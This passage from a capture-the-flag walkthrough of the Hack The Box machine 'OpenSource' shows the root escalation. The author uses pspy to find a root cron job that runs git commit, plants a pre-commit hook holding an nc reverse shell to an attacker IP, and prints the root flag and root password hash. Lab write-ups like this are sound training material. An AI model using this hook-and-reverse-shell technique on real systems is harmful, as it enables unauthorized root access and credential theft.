Escalation to root is actually pretty simple. I did a bit of enumeration but nothing obvious stood out. Usually next things I try is look at running processes, sudo rights, and then pull LinPEAS over for a more detailed look. On this box it was processes that was the correct path.
Pspy64
On Kali grab pspy64 and start a web server so we can get to it:
┌──(root㉿kali)-[~/htb/opensource]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
--2022-06-09 22:31:56-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/d54f2200-c51c-11e9-8d82-f178cd27b2cb?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20220609%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220609T213156Z&X-Amz-Expires=300&X-Amz-Signature=27a79850c7226b0a9dab56aa96afed89248b262414bbc6415acbab911b52fa0d&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[====================================>] 2.94M 18.2MB/s in 0.2s
2022-06-09 22:31:56 (18.2 MB/s) - ‘pspy64’ saved [3078592/3078592]
┌──(root㉿kali)-[~/htb/opensource]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Back over to our ssh session on the box, pull pspy over:
dev01@opensource:~/.git/hooks$ cd /dev/shm
dev01@opensource:/dev/shm$ wget http://10.10.14.184:8000/pspy64
--2022-06-09 21:32:37-- http://10.10.14.184:8000/pspy64
Connecting to 10.10.14.184:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.94M 2.25MB/s in 1.3s
2022-06-09 21:32:38 (2.25 MB/s) - ‘pspy64’ saved [3078592/3078592]
Make it executable and then start it watching:
dev01@opensource:/dev/shm$ chmod +x pspy64
dev01@opensource:/dev/shm$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...done
2022/06/09 21:33:26 CMD: UID=0 PID=96 |
2022/06/09 21:33:26 CMD: UID=0 PID=922 | /usr/bin/vmtoolsd
2022/06/09 21:33:26 CMD: UID=0 PID=920 | /usr/bin/VGAuthService
2022/06/09 21:33:26 CMD: UID=0 PID=90 |
2022/06/09 21:33:26 CMD: UID=0 PID=9 |
<SNIP>
2022/06/09 21:34:01 CMD: UID=0 PID=12735 | /bin/bash /usr/local/bin/git-sync
2022/06/09 21:34:01 CMD: UID=0 PID=12742 | git add .
2022/06/09 21:34:01 CMD: UID=0 PID=12743 | git commit -m Backup for 2022-06-09
2022/06/09 21:34:01 CMD: UID=0 PID=12745 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/06/09 21:34:01 CMD: UID=0 PID=12744 | git push origin main
<SNIP>
2022/06/09 21:35:01 CMD: UID=0 PID=13378 | git add .
2022/06/09 21:35:01 CMD: UID=0 PID=13379 | git commit -m Backup for 2022-06-09
2022/06/09 21:35:01 CMD: UID=0 PID=13380 | git push origin main
2022/06/09 21:35:01 CMD: UID=0 PID=13381 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
Exploiting Git Commit
Amongst the output we can see above there is a git commit running every minute. For CTF something like this is always suspicious, but I didn’t know of a way to exploit. A quick look around found this good article from Atlassian which explains how we can use hooks to get code execution.
With the git commit being run regularly we can use the pre-commit file to execute commands before the commit is done. So it’s nice and simple to get a reverse shell, we just put the one we used earlier in to a file called pre-commit in the dev01 users .git/hooks folder:
dev01@opensource:~/.git/hooks$ echo '#!/bin/bash
> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.184 1337 >/tmp/f' > /home/dev01/.git/hooks/pre-commit
dev01@opensource:~/.git/hooks$ chmod +x /home/dev01/.git/hooks/pre-commit
Now when the cron job running as root executes the git commit our pre-commit file is also executed as root. Switch to a waiting nc listener and within a minute we have our root shell connected:
┌──(root㉿kali)-[~/htb/opensource]
└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.184] from (UNKNOWN) [10.10.11.164] 49284
root@opensource:/home/dev01#
We’ve made it to root, let’s grab the flag and we’ve completed another box:
root@opensource:/home/dev01# cat root.txt
afaeaf858c16b8ae9f6979629702652e
root@opensource:~# cat /etc/shadow | grep root
root:$6$5sA85UVX$HupltM.bMqXkLc269pHDk1lryc4y5LV0FPMtT3x.yUdbe3mGziC8aUXWRQ2K3jX8mq5zItFAkAfDgPzH8EQ1C/:19072:0:99999:7:::
All done. I hope this walkthrough helped you learn a thing or two. See you next time.
Comments